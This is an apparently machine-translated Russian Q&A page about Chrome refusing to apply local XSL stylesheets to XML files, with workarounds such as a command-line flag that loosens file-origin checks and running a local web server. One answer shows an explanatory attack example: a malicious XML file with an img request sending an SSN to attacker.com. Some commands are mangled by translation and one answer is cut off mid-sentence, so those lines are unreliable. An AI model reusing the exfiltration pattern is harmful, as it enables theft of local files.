Можно ли заставить Chrome выполнять преобразование XSL в локальном файле?

91

Я изучал xslt и начал тестирование с примерами на w3schools.

Однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, хром не выполняет преобразование xsl. Он просто показывает пустую страницу.

Я добавил <?xml-stylesheet type="text/xsl" href="style.xsl">тег в XML-документ, и firefox отображает его так, как должно выглядеть. Кроме того, если я просматриваю файлы через веб-сервер, Chrome отображает файл в том виде, в котором он должен выглядеть.

Может быть, хром не может найти информацию о таблице стилей, когда ссылка является локальной? Изменение href на file:///C:/xsl/style.xslне имело никакого значения.

Обновление: похоже, это побочный эффект политики безопасности, которая не рассматривает file: /// * как одно и то же происхождение. В результате в консоли появляется следующая ошибка:

Небезопасная попытка загрузить файл URL: /// C: /xsl-rpg/style.xsl из фрейма с файлом URL: /// C: /xsl-rpg/data.xml. Домены, протоколы и порты должны совпадать.

Zaz
источник
1
Похоже, что из file:протокола Chrome выдает ту же ошибку домена.
1
На IE11 работает. Хром становится злым.
Марко Демайо

Ответы:

74

Короткий ответ: «Нет, используйте один из множества доступных браузеров » .

Причина, по которой это не работает, связана с проблемой безопасности, которую Chrome решил спорным способом [1] [2] [3] [4] , заблокировав доступ к файлам XML локальным файлам XSLT в том же каталоге, в то время как HTML файлы могут получить доступ к файлам .CSS в том же каталоге.

Что касается проблем, упомянутых выше, пользователи запросили более четкое сообщение об ошибке (поскольку домены, протоколы и порты действительно совпадают) или, по крайней мере, отображение XML без стиля. Разработчики Chrome проигнорировали эти запросы.

Zaz
источник
18
Хотя их забота о безопасности имеет смысл, XML-файлы должны иметь возможность загружать таблицы стилей XSL из одного и того же каталога, так же как файлы HTML могут загружать изображения и сценарии из одного и того же каталога. Есть проблема, которую вы можете пометить, но команда разработчиков Chrome запретила новые комментарии к ней - несмотря на то, что они жаловались, что не могут количественно оценить, насколько сильно пользователи хотели, чтобы локальное происхождение файла было ослаблено.
Дэн Даскалеску
1
Интересный факт: Safari на Mac (8.0) отлично работает с локальным XSLT, но Safari на симуляторе iOS (8) (и я полагаю, что и на iOS) я получил ту же ошибку, что и в Chrome «Домены, протоколы и порты должны совпадать. ". Но если я использую UIWebView в приложении и загружаю XML с помощью XSLT, все работает нормально.
Paul Brewczynski
Небольшой смысл в использовании другого браузера, когда задача состоит в том, чтобы исправить определенный рендеринг xslt в браузерах Chrome ...
n611x007
Один из подходов, который работает с Chromium, - это встроить XSL-файл в XML-файл как URI data: text / xsl.
EricLaw
57

Вы можете сделать это локально, используя флаги командной строки Chrome.

Конкретный флаг --allow-file-access-from-files

В OS X: из Terminal.app запустить /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примечание: вам, вероятно, придется выйти из Chrome, если он в данный момент запущен, иначе Ch

Джейк Бертон
источник
Похоже, это не работает для меня в Windows 7. Я нашел chrome.exe, расположенный здесь:, C:\Program Files (x86)\Google\Chrome\Applicationи команда --allow-file-access-from-files выполняется нормально, но мой локальный XML-документ (преобразованный локальный файл XSLT) не отображается.
Рик поддерживает Монику
2
Возможно, вам придется вручную убить все запущенные процессы Windows для chrome.exe в диспетчере задач Windows. Для меня это сработало.
Кристиан Шульцендорф,
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesработал у меня. Очевидно, я использую Chrome Canary. После выполнения этой команды должно открыться новое окно Chrome, позволяющее выполнить преобразование XSL.
SeanLF
2
Быстрее в Windows 7: клавиша Window + R; "хром - разрешить доступ к файлам из файлов"; Войти.
Аарон Кэмпбелл,
Или в PowerShell (убивает предыдущие хромы за вас):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Аарон Кэмпбелл,
15

Если вы хотите придерживаться OP, ответ - нет (как указывали другие), но один из способов решить проблему - запустить простой веб-сервер и открывать файлы через http в chrome. Если у вас установлен python 2.x, вы можете запустить веб-сервер, набрав:

python -m SimpleHTTPServer

Или в python 3.x:

python3 -m http.server

а затем откройте файл, используя http://localhost:8000/yourfile.xmlChrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и открывать файл с помощьюfile://

морфеус
источник
3

На странице ошибок Chrome потребовалось немного расшифровать - они очень стараются не объяснять, в чем проблема, и почему они решили сломать всех, а не всех.

Предположим, у меня есть XML-файл - где-то - на моем жестком диске, например:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

И злоумышленнику каким-то образом удалось сбросить вредоносный файл Xml на мой компьютер, например:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Представьте, что TrojanVirusWorm.xml содержит инструкцию обработки таблицы стилей ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Затем злоумышленник дает команду моему браузеру перейти к локально сохраненному trojanVirusWorm.xmlфайлу.

По-видимому, есть способ, которым XML-файл может читать содержимое XSD-файла (а не преобразовываться с помощью XSD-файла):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не понимаю, как файл XML может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасность и что ее невозможно устранить.

Каждый другой браузер решил это. Решили, потому что это не проблема .

Ян Бойд
источник
3

Мой обходной путь, чтобы увидеть xml в соответствии с файлом xsl

Предположим, у нас есть some_file.xml с заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Скачиваем файл https://some-site.com/Common.xslи кладем рядом сsome_file.xml
  2. Измените часть нашего заголовка с href="https://some-site.com/Common.xsl"на href="http://localhost:8001/Common.xsl"
  3. Запускаем в директорию с нашими файлами - python3 -m http.server 8001
  4. Открыть в любом браузере http://localhost:8001/some_file.xml
Грег Еремеев
источник
0

Вы можете разрешить Chrome отображать XSL-файл, изменив настройки браузера. Более безопасным подходом было бы доступ к нему через локальный веб-сервер, такой как Visual Studio Code Live Server или Apache. См. Инструкции в разделе XSLT, который не отображает локальные файлы .

Райан С. Перри
источник